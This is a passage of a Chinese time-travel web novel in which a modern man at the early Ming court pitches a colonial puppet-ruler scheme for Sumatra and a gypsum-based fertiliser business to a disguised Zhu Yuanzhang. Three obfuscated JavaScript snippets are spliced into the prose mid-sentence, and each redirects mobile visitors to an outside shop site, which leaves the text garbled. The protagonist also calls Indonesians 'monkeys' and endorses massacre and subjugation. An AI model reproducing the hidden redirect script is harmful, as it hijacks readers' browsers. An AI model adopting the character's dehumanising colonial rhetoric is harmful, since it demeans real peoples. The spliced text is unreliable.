然后,还未等朱元璋和李善长开口。 朱安宁便凑了过去。 “伍爷,韩爷,你们不是住城外么,怎么跑城里来了?” “啊?有点事……”朱元璋随口回道。 “哎呀,伍爷,上次我不是说了么,你得信我啊,城里迟早要出点事的,你们两大爷要命的话,就别老是进城里瞎逛,哈。” 第九十一章 东印度尼西亚公司 青石路上行人如织。 只是比起那商贾街,要少了很多叫卖声。 这里,更多的是闲聊的声音。 “改羁縻政策?”朱棣跟着朱安宁,走到城门口边上。 他们还在讨论方才说的,该如何从其他国家合理地获取原材料。 关于这个问题,历史教科书上已经给过很多答案了。 虽然各有利弊,但是总比这憨憨朱棣的,打赢了去抢……这种不文明的想法要好…… 而羁縻政策,是中国已经实施了许多年的,对边远少数民族地区采取的统治手段。 说白了就是土司统治,只要你拜我码头,我就认你,给爷我履行好朝贡义务,该出兵是出兵,就好。 这个制度并不完善,所以后续明清改土归流之后,现代那就是直接废除了。 朱安宁以羁縻制度为引子,就是方便朱棣理解。 “你应该知道羁縻政策吧,你老爹那么喜欢议事……” 朱安宁不由得想到了他的键政饭友,伍爷…… “那是知道的,您想在海外也实行羁縻政策?”朱棣开口追问道。 而此时。 不远处,两个老头的身影,也出现在了城门口处。 他们走了另外的道路,虽然远些,但是胜在安静。 两拨人,就这么戏剧性地遇上了。 朱安宁自然是意外能在城里遇到这两老头的。 而且四大案这胡惟庸案刚发生,天知道那郭桓案什么时候会爆发…… 所以他才会对朱元璋说,城里迟早要出点事的,少进城为好,这样的话。 “能发生什么大事啊。”朱元璋自然是毫无畏惧。 毕竟,这四大案,都是他发动的……他有什么好怕的,总不能我杀我自己吧。 “哎,真是说不通你个老头。”朱安宁见朱元璋一副天不怕地不怕的样子,也是无语。 而后,朱元璋却也看着朱棣,又看了眼朱安宁,问了起来:“那你们进城又是干嘛啊。” “买点石膏呗。” “啊?石膏?”是李善长发出的疑问。 他不像朱元璋那样知道实情,只道是说石膏这种东西,不是入药就是糊墙……他特地跑来城里买?是想粉刷自己的院墙么? 朱元璋眯着眼,明知故问了起来。 “买石膏干嘛啊。” 他想看看朱安宁会怎么回答。 朱棣瞄了一眼自己的老爹,那是叹了口气。 自己老爹就是爱玩这种把戏…… 没想到的是,朱安宁听完朱元璋的提问,却也是突然笑了起来。 笑得朱元璋那是一脸懵逼。 三人都不约而同地看向了朱安宁,想看看他会怎么说。 四人脚步恰好走到了城门外。 只见广袤的田地,一下就展露在了众人的眼前。 朱安宁深吸了一口气。 悠悠地说道:“商业机密!” 这回答,让朱元璋不禁一愣,脚下的步伐都乱了不少…… 朱棣听完后也是哭笑不得…… 李善长更是不知道该摆什么表情好。 这肥料,朱安宁是已经打定了主意是要用来换钱补贴庄子的运营的了。 所以不想弄得人人皆知,所以才会说是商业机密。 只是他也看到了三人无语的表情,便也连忙换回来刚才的话题。 “小燕,还是聊回刚才香料的事情吧。”他打了个哈哈。 却也是成功勾起了朱元璋的兴趣,肥料的事他是知道的,那现在这个香料的事又是什么情况? 朱安宁轻咳了声,继续说了下去:“海外用羁縻政策肯定是……” “等等!你们在聊什么?” 朱元璋本来就有点不爽朱安宁刚才神神秘秘的样子,现在又突然聊了个他没听过的话题。 这种没有掌控全局的感觉,可是让老朱难受死了。 所以他才叫停两人,希望能有个解释。 朱棣还是了解自己老子性格的,便也连忙停了下来,细细解释了一通。 “你们对海外有想法?”听了个大概的朱元璋,那是立马就吸了口凉气。 倒不是说他觉得去海外打仗有多么不可思议。 而是……就为了点香料,这两人居然就想发动战争…… 真是…… 有病吧! 朱元璋的表情,自然是逃不过朱安宁的眼睛。 “哎呀,伍爷,我们也就说说而已,我又不是皇帝,当然您也不是,我们还真就能派军队去海外不成?” 朱安宁那话是说得轻松无比。 朱元璋却是听得撇了撇嘴,是皇帝也不能胡乱打仗。 这偌大的明朝,才休生养息多久,为了点香料就去打仗,成何体统…… 当然,打元人那不一样,这是必须要做的事情。 “穷兵黩武,可不是一件好事啊。”朱元璋给两人的话题,下了个定论。 那是直接就吓得朱棣,不敢出声…… 毕竟他就是想穷兵黩武的那个…… “啊?什么穷兵黩武,要是真的派军队下南洋,那绝对是大赚的啊 。” 朱安宁皱起了眉头,他突然发现了一件事情。 似乎是,这个朝代的人,即便是伍爷这种高级键政选手,似乎都没能知道,其实打仗,可以是为了赚钱的啊! 怎么一提到打仗,这的人,就只能想到开疆扩土呢。 他觉得有必要科普一下打仗赚钱这种高级的思想。 只是他还未开口,朱元璋那鄙视的腔调就已经飘到了耳边。 “你个小娃子,懂不懂行军,懂不懂打仗,还赚钱,南洋?你是说三佛齐那些地方吧,鸟不拉屎,还得渡船,管都不好管的地方,要来干嘛!” 这腔调也是让朱安宁不爽了起来。 这一下就点燃了他的键政热情。 三佛齐,好像就是苏门答腊吧。 那地方没钱赚?你个老伍头真是没见识。 “三佛齐?据我所知,那里有金矿,铜矿,单单这两个就够赚了吧。” “金,铜?矿产咱们大明又不是没有。”朱元璋听见金矿,明显是有些心动了的,但是嘴硬,一向是他的作风。 “恐怕咱们整个大明的金矿捆起来,都没人家的好挖。”朱安宁嗤笑了声。 “你怎么知道?又是行商,行商还能知道金矿里面有多少金子?”朱元璋也是一副不信的样子。 这话确实是把朱安宁给噎住了。 毕竟印尼金矿储量世界第一,这是现代科技探测出来的……他这个还真不好解释。 “别忘了三佛齐又叫金州,金子的金!而且黄金不过是附加的东西而已,那边还有很多稀罕玩意,很有价值。” “好,我就算那边有无与伦比的金矿,那三佛齐什么地方,比南蛮还要瘴毒的蛮荒之地,你让我们怎么统治那里,怎么产物物资,难道又是羁縻之策?只怕是想在那边设立土司府,土司都不知道该怎么管这片地。” 朱元璋点出了印度尼西亚最大的问题。 作为明朝的开国皇帝,他还算是有点眼力见的。 只是,在朱安宁心中,也就是,有点,但不多。 “所以我刚才才和小燕说,不能羁縻,那边不仅部落众多,那语言还不通,根本没有办法设立什么土司府。” 本来看着两人有点要吵起来的架势,李善长还是蛮头疼的。 毕竟这里可是官道,人也不少,别一会朱老板一激动还想动手,那就不美了…… 只是幸好现在还在和平讨论的范畴内,他也连忙开口,想缓和一下气氛。 “那安宁小弟你有什么想法呢?” “不能羁縻,那就建立贸易司就好啦,当地总归是有些咱们汉人的,让他们做翻译,用我们的货物置换对方的产物就行,然后让那些汉人慢慢改造当地的状况,只要有一两片地区熟悉了咱们汉人的贸易模式,那就算站稳脚跟啦。” 这个法子,很有可行性,但是又是那么地稀松平常。 平常到朱棣都有些失望。 “朱哥,这个法子,还不是要耗费我们的人力物力,还得渡船过去给人家送货,太不划算了吧。” “我有说完么?” “啊?” “小燕你别急,这只是第一步而已,等到们可以站稳脚跟,取得部分当地人的信任后,这金州贸易司,就要开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378695|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发力了,想办法扶持当地的少数族群,逐渐让他们取得那些地区的实权,实在不行就帮他们打,反正那边都是些土猴子,打肯定不是咱们的对手,然后让那部分少数族群,成为那边的王。” “你这法子,和土司有什么区别……不还是羁縻政策么……” 朱元璋又是讥笑了一番。 虽然他很欣赏朱安宁,觉得朱安宁在很多事情上,都给了他不小的帮助。 但是说道打仗和统治,这小子还是嫩了点啊。 自己还是有很多地方比他强的! 一念至此,朱元璋的讥笑声,那是更甚。 结果,他却也同时等来了朱安宁的笑声。 “土司?老伍头,你想想土司和我刚才说的王,能一样?土司那就是当地的真正的王,他有自己的小朝廷,有军队,有自己的实权,那是哪天你中央朝廷弱下来了,我土司又能翻身做主人了啊。” 朱安宁笑着说道。 这一番话,不仅让朱元璋都沉思了起来。 连李善长也品出了些不一样的味道。 “而我在三佛齐那边推出来的王,那就不一样的了,地我们要狠狠地帮他抢,有必要的话,反抗的人,我们也要狠狠地帮他们杀!杀到不敢反抗为止,然后再把这所谓的王推出来。” “傀儡?”皱着眉头的李善长,说出了朱元璋心中想说的话。 结果,朱安宁还是摇了摇头。 “什么傀儡,接下来,这个王,或者这群王,就要干活啦。由他们来真正统治三佛齐,他们会比土司更依赖我们,因为他们的权力来源就是我们,而不是那边的子民,而他们也会比历史上的那些暴君们更残暴,更会压榨那些人,因为他们需要用利益来换取我们的权力。” 朱安宁的话语,很稳。 也很温和。 但是内容,却毒如蛇蝎。 朱元璋看着 站在阳光下的年轻人,后背依旧是觉得有些凉。 绝啊。 太绝了。 一个地方的统治者,和被统治者离心离德,然后自己从中获取利益就行。 “统治者压得越狠,他们的地位越稳,当地的百姓们也就会越痛恨他们。那与我们何干呢?我们,只是大明金州贸易司,来到贵地,做些生意而已。希望当地的统治者啊,可以给我们行些方便,让百姓们多多种地,多多挖矿,多多干活,就行。” 朱安宁眼睛都眯了起来。 说出了,东印度公司的,印度尼西亚版本。 “那当地那些人……不会反抗?”朱棣幽幽地提了个问题。 “什么?你说统治者过于残暴?百姓们揭竿而起了?我大明威武之师,必须站在仁义一方,帮助百姓们推翻残暴的统治者,然后让新的统治者来治理这片疆土,当然,这个新的统治者,还是需要我们指定一下为好,我们,永远站在道理一方。” “……” 三人听着朱安宁那冠冕堂皇的话语,那真就是无话可说。 这计谋太过毒辣…… 简直就是绝户计,不把那个地方的人当人看待……按照这个方法实施下去,恐怕三佛齐世代都得做他大明的奴隶,给大明产出资源…… “你们这样看着我干嘛……是你们让我说的啊……” 朱安宁被三人盯得有点不适。 “这些,是你自己想出来的?”朱元璋过了许久,才幽幽叹了口气。 真是人才啊,这法子,不比羁縻政策要通顺得多么。 只需要前期投入些兵力,后期被推出来的统治者,因为不得民心,只能疯狂依附在大明身上……尽心尽力为大明做事……这样付出的成本精力都会少很多。 但是又能稳定获得当地的物产。 “太无耻了啊……”李善长也叹了口气:“哦,安宁小弟别误会,这个无耻是褒义的无耻……” “无耻还有褒义……行了,你们就是觉得我阴损嘛……”朱安宁撇了撇嘴,继续说道:“其实换个方向去想,那地方的猴子们,本来就生活艰难,我们过去给他们带来稳定,能让他们吃饱,喝足,让他们从猴子变回人该有的样子,不也算是做好事嘛,他们就是失去了点自由而已嘛。” “自由,能值几个钱。”朱安宁嗤笑了一声。 第九十二章 要不告诉他我是朱元璋吧 一行四人在官道上走着。 现在还未算到很热的时分,所以几个都走得不慢不急。 朱元璋和李善长,对视了一下,心里是真的开始盘算那朱安宁的阴损想法。 朱安宁哪能知道身边这两人是可以左右朝政中枢的人,只道是自己的这一通牛逼吹得真爽,不仅镇住了年轻的小燕同志,连这两老头都被自己给说懵了吧。 呼呼,这鹰酱和约翰牛,可是这些骚想法的祖师爷啊……不对,他们不仅想了,还落实了,只是最后因为各种原因,出了问题而已。 反正决不能学高卢鸡那么蠢,占了块地,还思索着自己要帮忙教化,出钱出力大搞基建,真是吃力不讨好…… 路上偶有行人擦肩而过。 扬起了些许尘土,让朱元璋不免咳了两声。 他现在有些纠结,他很想立马就转头回宫里。 关于朱安宁这阴损法子。 他有很多话想讲! 他想赶紧和他的好大儿商量一下,是否能在那个地方先实验一下! 如果真的可行,那还羁縻个屁啊,这法子不是更省银子么,更有用么。 李善长是看出了朱元璋的犹豫的。 只是还未等他开口。 朱元璋的眼神却又突然坚定了下来。 出都出来了……还是想看肥料……这东西,比什么贸易司绝户计重要得多,毕竟一个是眼前,一个是未来。 于是,几个人默默地赶着路,走了许久,终于是到了永乐庄的地界。 “嗯?这几块地怎么种了这些东西……”眼尖的朱元璋一下就看到了那田里种的,可都是菜啊。 要知道,不说普通佃农,就这永乐庄里的农夫们,可都是前些日子才逃荒过来的难民。 种粮应该是他们最迫切的愿望才对,怎么这几块地,居然全种上了蔬菜,这真是有违常理。 所以朱元璋才会露出疑惑的神情。 而朱安宁和朱棣,却没有任何表情,他们还在继续往前走着。 这让停下脚步的老朱,多少就有点尴尬了。 他连忙咳了两声,示意前面的人等一等。这个时候,朱棣才发现自己的老爹没有跟上来。 “老四啊,这地怎么没种粮啊。” 朱元璋没有直接问为什么种菜,而是绕了点圈。 朱棣也是马上醒悟了过来,赶忙解释道:“是朱哥安排的,这几块边角位置的地,也没有佃户种,还是在朱哥手里,朱哥就整了些蔬菜的种子,让几户佃农轮流照看下,说种好了分给大家。” “这……这不是胡闹么。”朱元璋听了,虽然没有生气,但是也是有些不满。 没有什么比喂饱肚子更重要。 这两年到处都遭灾,粮食本就不足。 朱安宁还安排佃户种菜……这不是浪费劳动力么。 朱安宁也是没想那么多,他还以为朱元璋是抨击他压榨佃农劳动力。 “哎呀伍爷,我原本也是准备给他们钱或者粮的,毕竟也算是帮我干活嘛,但是他们死活不收……我也没辙啊。” 他一副很无辜的样子。 朱元璋听完自然是愣了愣,过了许久才回过味来,朱安宁这是理解错了自己的意思。 “不是,安宁小弟,我的意思是,这佃户有时间帮你照看这些烂菜叶子,不如多花点时间去种多两亩稻子……” 看着朱元璋认真的表情,朱安宁也是知道了对方的意思。 感情菜这种东西,在古代还挺奢侈的感觉? 大概是生产力水平太过低下,地主盘剥又太过严重吧。 “嗨,花更多的时间在田里,能把稻子给瞪多点收成出来么?”朱安宁摆了摆手,那是一开口就噎住了朱元璋。 “这永乐庄这一季的收成,您就别担心了,我有办法让他们收成比其他村啊庄啊更多。” 朱安宁的话,并不是空口胡说。 朱元璋也是想起了朱棣他们呈上来的消息。 肥料,这朱安宁好像有法子捣鼓出肥料来。 要知道,古代主要依赖粪肥……而尿粪这种东西,产量……可是极其有限的。 就算是后面推广了些草肥之类的补充,肥料依旧是限制农作物产出的最大限制因素。 这也是朱元璋为什么百忙之中都要抽时间跑来这里的原因。 如果这肥料真的靠谱,且朱安宁还能大量生产,那可是了不得的大事…… 一想到这里,朱元璋眉头又皱起了起来,怎么近些日子,大事尽是在朱安宁这里决定的啊……真是奇了怪了,这年轻人莫不是有法力,能通神? “这么多,你能像神仙那样,凭空给产量翻个倍不成?” 朱元璋轻哼了一声,他恼火是因为朱安宁居然不跟自己说肥料的事情,都来到庄里了,还想瞒着自己的样子。 “我是神仙就好咯,哪用像现在这样,回个庄子都还要走路,我飞不好么。”朱安宁呵呵笑了两声,也是把一旁的朱棣都逗乐了。 结果朱棣转头一看自己老爹那副表情,笑容又很快凝固在了脸上。 只见朱安宁并没有停止说话,他继续说了下去:“刚好 伍爷您也来了,我今天就让你们看看我新捣鼓出来的东西吧。” 回来的路上,朱安宁就想通了,和种新粮一样,肥料这事,说不定还是得让这伍爷等人技术入股,毕竟,自己连商铺都没有,销售渠道更是一头雾水。 他想独占着肥料销售的想法,慢慢转化成了合资经营的想法。 况且,肥料的事情,小燕和小周都知道……这两人总不能一辈子瞒着自己老爹吧,李三江,季畾季廌也是参与其中的。 这独家经营难度太大,索性还是大家一起发财安全。 听见朱安宁的说法,朱元璋终于是眼睛一亮。 内心的恼怒之气,不由得消散了许多。 这安宁小弟还是信自己的,甚好甚好。 走过蔬菜地。 没走多远,他们又见识到了和别的庄子不一样的光景。 只见好几个光着膀子的大汉,正在那挥舞着锹,一铲一铲地挖出了渠的雏形。 不远处,是朱橚在指挥。 李景隆和刘廌刘畾……那自然也是下面的苦力之一。 “你们这是在挖渠?” 李善长惊讶地看着这热火朝天的场景,那是问了出声。 “对啊,这这边田也不算少,不挖渠,怎么种?”朱安宁说得理所当然。 而李善长回的更是理所当然。 “让佃农自己挑啊!” “那多浪费时间啊。” “那……佃农们不就是干农活的么……你这地方离河又不远。” 听完李善长的回答。 朱安宁是真的无语了。 这封建时代,生产力上不去,多少还是有点原因的。 “我这些渠,只要挖好了就可以一直用下去,佃户们方便了,就能更好地耕作,产量自然也会比马虎耕种的田地高,所以挖渠,是一次性的固定投入。” 朱安宁尝试解释了一下。 但是他发现,李善长,应该是理解了,但是又不完全理解的样子。 最后,他也是只能叹一口气,没有再深究这个话题。 而朱元璋和李善长这种读书人不一样。 他是耕过田的。 他立马就听懂了朱安宁的意思,且是深层次的理解。 “挖好了渠,一个农夫原本可以干三亩地,你指挥他们挖渠,方便了他们,他们说不定能干六亩地,对吧,而且耕种的情况不会下降。” 朱元璋看了眼朱安宁,又继续说了下去:“但是,你这个地主,却完全没有因此获得更多的地租啊,只是佃户获利了而已,值得么?” 对啊,值得么? 李善长也看向了朱安宁,他是认为没有意义的,没有水渠,那三亩地,一个佃农能种好,六亩地,他最多招多一个佃农而已,又不影响他收租子。 “呼,伍爷,韩爷,一个农夫从能耕三亩,到现在能耕六亩,怎么会没有意义呢?!” 朱安宁的白眼真是就要快翻上天了,只觉得这群古代地主的政治觉悟真是低得吓死人。 “一个农夫能耕三亩,一万个能耕三万亩,要是我能给他们提供好的条件,那他们能耕六万亩啊!咱们大明的农户是有限的,略微帮一帮佃农们,他们的生产能力就能提高许多,那整个大明产出粮食的总量,是不是就提高了啊?农民们得到了更多的粮食,官家能收上更多的粮食,那是民富,则国富啊!” 朱元璋本没有很惊讶,因为他从最初就想到了这些小水渠的重要意义。 但是,最后朱安宁那句民富,则国富,还是让他有些侧目。 要不想个办法……把他绑到朝堂上去做官吧!!! 真的好气哦,朝堂里一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378696|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆虫豸。 而有见识有抱负,格局这么大的朱安宁,却一副赖死在这里要当一辈子地主的样子…… 真是令朱元璋痛苦。 不行,真的得想个办法!大不了直接表露自己的身份? 朱元璋咬了咬牙,那是恨得牙痒痒。 最后,也是只能无奈地叹了口气。 “安宁小弟,你这地……佃农们的精气神,和其他地方的比起来,要好太多太多了啊……”他这是真心实意的感叹。 城里走到了这永乐庄,途中也经过了不少田地。 大部分佃农干活,都是麻木且机械的。 唯有这永乐庄,这群人,好像有使不完的劲那般,昂扬。 那是满怀希望的气息。 其实不仅是朱安宁提供了足够的主粮,更重要的是,他还教会了这些佃户认野菜。 再配合一些长得快些的蔬菜,成功地扭转了这群佃户相对营养不良的状况。 当然,肉类还是比较难补充,这点朱安宁也爱莫能助了。 能供点粮食出来,已经是他道德观使然下的极限了。 他可不是什么究极烂好人……谁的银子不是银子嘛!他还没去过秦淮河边呢! 至于营养均衡的话题,他是完全不想和这两个老头说的。 现代都还有老头说不通科学道理,更不要说这两古代的大爷了。 不过他已经准备好了教案,就准备讲完这一轮肥料的内容,就教朱棣朱橚他们一 些相对现代的基本常识。 希望到时他们能接受,毕竟是年轻一些的人,而且经过这一轮的教化,朱安宁发现,其实这几个人莫不是……本来就读书很厉害的人……讲东西给他们听,他们吸收得可快了…… 而对于朱元璋的感叹,他是许久才回应道。 “我租子收得低,他们知道自己只要好好干活,日子就能越过越好,这精气神能不好么。” “也是……”聊到租子,那是连朱元璋都不得不佩服。 十收一啊……什么神仙地主啊。 如果自己还是农民,自己都想来这永乐庄当佃农罢,真是太离谱了。 而站在一边的李善长,那是绝不敢接话的。 毕竟,他是十收五六的人…… “对了,你想让我们看的不是这个吧。”朱元璋感叹归感叹,他是没有忘记今天的正事的。 朱安宁也是呵呵一笑:“当然不是这个,我说的东西在院子里呢。” 看到朱元璋好像是有些急切的样子,朱安宁也不再看那热火朝天的挖渠。 连忙领着几人进到了院内。 直接把人带到了那片实验田面前。 “咦?这是豆芽?你怎么在这里种这些小玩意。” 朱元璋皱着眉头蹲了下去,仔细看了起来。 只见有一片那是虽然长了起来,但是明显要比周围的矮一些,叶片更是有些发黄,而剩下的几小片,长势也是不一,唯有两片,那是长得又高,叶又绿,明显就是长势良好那种。 只见朱安宁指了指长得最好那两片中的一片,开口说道:“这是浇了粪肥的,长得不错吧。” “确实不错,但是你种豆子干嘛……而且这一片怎么蔫不拉几的……”朱元璋指了指那略微发黄的豆苗。 “这是只浇了水的,能长,但是也就这样了。” “那这一片呢?”朱元璋皱着眉头,指向了和浇粪肥长得差不多的豆苗,问道。 “这是我自己做的肥料,怎样,效果也不差吧。” 朱元璋仔细地凑了过去,左看右看,最后是点了点头。 “不错是不错,但是和粪肥效果差不多的话,我为什么不浇粪肥?” 他点出了问题的关键。 朱安宁,却也是不慌不忙。 他笑着反问了一个问题。 “伍爷,还记得最初咱种新粮的时候么?” “当然啦,那是我不是经常来你这么?” “粪肥,是有限的,而且制作时间长,当然,如果要找替代品,其实也有很多选择,打点草过来沤草肥,甚至泥肥也是极好的,你们看这几片长得也是不错的就是这些草肥,泥肥浇的。” “也算不错。” “但是还是那个问题,草肥,泥肥,也是有限的。”朱安宁顿了顿,咧嘴笑了起来:“而我做的肥,不仅材料简单,更是可以大量,快速地制作!” 第九十三章 太子能不能调休? 控制变量法,分了对照组和实验组做出来的结果实在是非常直观。 即便是身为古人的朱元璋也一眼就看出了朱安宁肥料的优势。 而且,有两个关键词没有逃出朱元璋的耳朵。 快速,大量? 他捏了捏那土,站了起来,沉思了许久才开口。 “安宁小弟,当真?肥,可是农业之本,你可知道如果你真的能整出又快制作又好用的肥,会是一件怎样的事情?” 朱安宁被朱元璋的态度吓了一跳,怎么就突然这么严肃了? “大家吃饱喝足?” 他下意识地说出了话语,幸好后面收住了,不然就是解决温饱,齐奔小康了……这种标语在明朝可能有点超前。 “不仅能吃饱喝足,我们还能攒下来粮食,有粮的大明,可做的事情,就多起来了啊。” 朱元璋走了起来,他开始绕着院内这几片田地踱步,他边走边说,眼中全是炽热的光芒。 他的大明,现在太穷了……真的太穷了,就算他用上了历朝历代最低标准的公务员工资,但是明初,该穷还是穷…… 抽税除了江南的惩罚性税收,其他地区他哪舍得去压榨那些和他一般出生的苦哈哈们…… 而用钱粮的地方,又多如牛毛。 北边要备战。 西边刚打完,南边看起来也是要打的……他每天这么勤政,多少也是有点被这些事情烦到睡不好。 而朱安宁的出现,给他带来了太多的希望。 新粮那属于是未知的期待。 这种东西他也就是吃过而已,谁知道到时产量能不能达到标准,以及,百姓们是否真的可以靠新粮去温饱。 吃了会不会不适应。 但是肥料就不一样了,他是知道一片田地,如果能有足够的肥料,产量是能有多高的。 各地亩产不一,除了气候条件外,影响大的也就是肥力了啊! 农家肥的制作耗时耗力不说,还需要提前收集各种粪便尿液之类的,其实产量是相当小的。 现在朱安宁告诉他,能有法子代替这粪肥。 并且他自己实地过来看了,效果确实不错。 “安宁小弟,你给个数,你觉得用上你的肥料,一亩地能多产多少粮?” 这个问题很重要。 恰又是这个问题,是朱安宁最不好回答的一个问题。 因为他没有实践过。 如果按照现代产量来算的话也不对头,毕竟现代的稻种选育过,肯定比古代的高产。 如果按明末清朝那个时期来算的话,怎么地小半石的涨幅,总归是有的吧。 他是观察过周边那些农田的。 只能用惨不忍睹来形容。 他们虽然比自己这边要更早地种下水稻。 但是长势也就那样。 和现代肯定是没法比的朱安宁心里也知道。 但是看那样子……怪不得亩产也就两石左右…… 就是土壤肥力不够导致的。 所以,他的土肥料,不出意外,肯定是能提产的,只是具体多少,他只能保守估算。 “看地区,不同区域,估计效果会有点不一样……”这种事情朱安宁哪敢打包票:“有些地方可能就涨一点,有些地方,能涨半石?”他给了个比较保守的数字。 只是,这保守的数字也很惊人了。 朱元璋在心里盘算的是,全国如果有一半的地能亩增半石……那……那他这辈子都没打过这么富裕的仗啊! 打了几十年仗的老朱,突然就有了很多新计划。 不对,不仅是本来早就想打的几场仗,还有朱安宁之前的计划! “安宁小弟,这粮食产量上来的话,你那个所谓的用粮食锚定宝钞的法子,不就可以实施了么?而且,西边和北边,同时打起来,压力也没这么大了啊。” “呃……真的能上来的话,问题应该不大吧。伍爷您先别激动,先听我说完先……”看着一脸狂热的朱元璋,朱安宁不由得想到了现代社会中那种看见自己国家有了实力,就迫不及待想要完成某些事情的大爷们……真就是如出一辙,武德充沛啊…… 参政议政热情高涨是自古以来的? 朱安宁是有点哭笑不得。 但是他没发现的是,眼神变得狂热,不止是眼前的朱元璋一人。 听完他的话语后,眼神热起来的还有李善长和朱棣。 一个管后勤,一个想打仗,自然就眼神炙热了。 “我这肥料都还没大量产出,您怎么就开始想到打仗了……今儿我和小燕出去,就是为了这制作肥料的事情。” 朱安宁是做了个大家不要激动的手势,总算勉强控制住了场面。 微微冷静下来的朱元璋,也是抬头发问道。 “哦?怎么个情况,安宁小弟,细说。” “小燕他们也看我做过,材料什么的未来也保密不了,我就告诉两位吧,这肥料最重要的,就是石膏,其次是人尿,当然动物的也行,只是人尿获取比较便利。” “所以你们进城是买石膏了?”朱元璋皱起了眉头。 石膏? 这东西能做肥料。 呃,他说能就能吧,这豆苗都摆在自己面前,总不能还疑神疑鬼吧。 只是城里哪个地方卖石膏多? 朱元璋开始了大脑检索。 然后很快就得出了结果。 蓝玉! 今年他征西蕃大胜而归,自己赐了他世袭爵,还给了些地给他,听说那地里发现了大石膏矿。 “你确定石膏能做肥?”朱元璋还是有点难以置信,这事多少超乎他的想像了。 “喏,这地就是石膏做的肥料浇的,而且小燕也是看着我拌石膏做肥的,这还有假?”朱安宁看见朱元璋那不可置信的样子,也是笑了起来。 毕竟石膏变肥料,确实有点变魔法的感觉。 只是他也不需要过多的解释,因为朱棣可以给他作证。 “爹,确实可以做。” 果不其然,朱棣发声了。 “那你们今天进城有买到么?”朱元璋连忙追问。 “有啊,永昌侯那边的铺子里有,而且那边打了包票说可以长期供给我。” “那就好那就好……”朱元璋那是终于定了点心。 不过要是能把这矿给拿回来就好了……只是前些日子才赏出去……得找个借口。 朱元璋在心里打定了主意。 石膏如果能做肥,那就是国之本,怎么能放在蓝玉这种悍将手里……能打仗是他的优点,而他的缺点也很明显,那就是只会打仗…… “伍爷,韩爷,你们要是信我这肥的话,我可还有话没有讲啊。” 看着众人,朱安宁知道是时候切入他的正题了。 他哪知道这群人格局这么恐怖。 都在盘算着什么打仗!发钞之类的国家大事。 “啊?安宁小弟你且说。”还是朱元璋开了口。 “咱和永昌侯店里啊,是商量了长约的,如果他那边供的量够的话,我想这边做点肥料卖出去,两位看是否可行?” 朱安宁搓了搓手,那是一副商贾样。 也就是这样,朱元璋等人才想起了朱安宁自报的身份:行商…… “卖?”朱元璋是多少有些疑惑:“你为什么不把这肥料的法子献给洪武帝?” “哎,什么都献给咱们陛下,这陛下得多忙啊,有些事情,我们作为子民,能分担一下就分担一下嘛。” 朱安宁却也没有顺着朱元璋的话回应,他那是骚里骚气地说得理直气壮。 “赚钱嘛,不寒碜。”朱安宁嘿嘿笑了两声。 而朱元璋和李善长也算是听懂了。 他是真的想卖钱,若是给了朝廷……那他就没多少赚头了啊。 果然是行商是吧……有点奸啊…… 朱元璋是一下子就乐了起来。 “怎么,你想卖高价啊?” “啊?肥这种东西怎么高价,如果它比产的粮还贵的话,还有谁买?” “那你还想卖这东西,能赚几个银子。” “伍爷,你糊涂啊,卖这种货物,肯定要薄利多销嘛,而且肥这种东西,那是每家农户都铁定要的东西,只要大明还有人耕种,我这肥就还能卖,不比洪武爷赏的那些爵位靠谱?” 居然还敢和自己赏赐的爵位比? 这小伙是真的敢说。 “好好好,我说不过你,你想我们帮你什么嘛。”朱元璋闷声开了口。 “嘿嘿,我人生地不熟的,虽然现在是永乐庄的大地主,但是说实话,整个应天府,我也就是认识您几位而已,这肥,我会一直去产,然后两位帮我卖?咱们三七分成怎么样?” “谁七啊。”朱元璋笑呵呵地问道。 “当然是我七啊。”朱安宁说得理所当然,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378697|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这老头是不是让子弹飞看多了,真让你七,我还赚个毛! “行,咱也不贪,给你拿八,我和老韩分二,我们,帮你卖!” “那我就恭敬不如从命啦,毕竟我进石膏也是要钱的呀,真就谢谢伍爷,韩爷啦!” 说完这话,朱安宁终于是长长地舒了口气。 他是经营游戏爱好者。 当然了,模拟游戏他也爱玩。 虽然都玩得不咋地。 但是他已经养成了一个习惯。 屯钱…… 穿越过来这么久,虽然用些泡面和茅台换了些钱银。 但是! 就是让他不安心! 没有长久的,可靠的收入来源,的那种不安心! 泡面和茅台总会卖完的啊。 真穿越了又不像那些颠佬脑洞文一样,随便一搓就是现代高科技震撼古人一百年那种…… 工业体系基本就没有的明初,事实上,是很难简单搓出现代制品的。 这土肥料,恰好也就是朱安宁专业对口,才能整出来而已。 “行了行了,你就尽管做,做了多少我都能帮你卖。” “嚯,伍爷这么神通广大?” “呵呵,有些小渠道而已。” 朱元璋听罢也是大笑了起来。 